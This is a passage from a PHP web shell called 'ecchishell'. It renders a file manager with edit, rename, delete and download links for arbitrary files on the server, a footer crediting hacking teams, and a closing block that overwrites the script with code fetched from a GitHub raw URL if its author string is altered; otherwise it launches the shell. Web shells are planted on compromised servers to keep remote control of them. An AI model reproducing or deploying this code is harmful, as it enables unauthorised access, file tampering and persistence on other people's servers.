border-dark"> <a class="text-decoration-none text-dark" href="?act=edit&dir=<?= "$dir&file=$dir/$file" ?>">edit</a> | <a class="text-decoration-none text-dark" href="?act=rename&dir=<?= "$dir&file=$dir/$file" ?>">rename</a> | <a class="text-decoration-none text-dark" href="?act=delete&dir=<?= "$dir&file=$dir/$file" ?>">delete</a> | <a class="text-decoration-none text-dark" href="?act=download&dir=<?= "$dir&file=$dir/$file" ?>">download</a> </td> </tr> <?php } ?> </tbody> </table> </div> <div class="jumbotron text-center bg-dark" style="margin-bottom:0"> <h4 class="font-weight-bold text-white"><?= author ?> <span class="text-info">Copyright © <?= date("Y") ?></span></h4> <h3 class="mb-3"> <a target="_blank" href="https://github.com/dmzhari/"> <i class="fab fa-github"></i> </a> <a target="_blank" href="https://ecchiexploit.blogspot.com/"> <i class="fab fa-blogger"></i> </a> <a target="_blank" href="https://www.youtube.com/channel/UCRq0YSk2gU6YFKsk8ZdVeGQ"> <i class="fab fa-youtube"></i> </a> <a target="_blank" href="https://facebook.com/dmz.hari.9"> <i class="fab fa-facebook"></i> </a> <a target="_blank" href="https://twitter.com/harigrimorum990"> <i class="fab fa-twitter-square"></i> </a> <a target="_blank" href="https://wa.me/+6283822080039"> <i class="fab fa-whatsapp-square"></i> </a> </h3> <button type="button" class="btn btn-info btn-lg" data-toggle="collapse" data-target="#thanks" aria-controls="thanks">Thanks To</button> <div class="collapse multi-collapse p-3" id="thanks"> <button type="button" class="btn btn-info" data-toggle="modal" data-target="#team">MyTeam</button> <button type="button" class="btn btn-info" data-toggle="modal" data-target="#friend">My Friend</button> </div> <div id="team" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Team</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body"> <p>Manusia Biasa Team</p> <p>BHI OFFICIAL</p> <p>Dark 3xploit Cyber</p> <p>2Easy 4Hack Team</p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> <div id="friend" class="modal fade" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">My Friend</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body"><p class="text-wrap"> Omest - Wildan - Arifsyn - Accil - Rapeler - Colt - Rijal - Batu - Didi - Dwi - Riy - Talia - Arianda </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div> </div> </div> </div> </div> <script type="text/javascript"> let mybutton = document.getElementById("btn-back-to-top"); window.onscroll = function() { scrollFunction(); }; function scrollFunction() { if (document.body.scrollTop > 20 || document.documentElement.scrollTop > 20) { mybutton.style.display = "block"; } else { mybutton.style.display = "none"; } } mybutton.addEventListener("click", backToTop); function backToTop() { document.body.scrollTop = 0; document.documentElement.scrollTop = 0; } </script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" integrity="sha384-Piv4xVNRyMGpqkS2by6br4gNJ7DXjqk09RmUpJ8jgGtD7zP9yug3goQfGII0yAns" crossorigin="anonymous"></script> </body> </html> <?php } /* Change This For Fun Hehe */ if (author != './EcchiExploit') { $file = basename($_SERVER['SCRIPT_FILENAME']); $open = fopen($file, 'w'); fwrite($open, file_get_contents('https://raw.githubusercontent.com/dmzhari/ecchi-shell/main/ecchishell.php')); fclose($open); echo '<script>alert("Please Dont Change Author!!")</script>'; echo "<script>window.location.href= '" . $_SERVER['PHP_SELF'] . "'</script>"; } else { shell(); }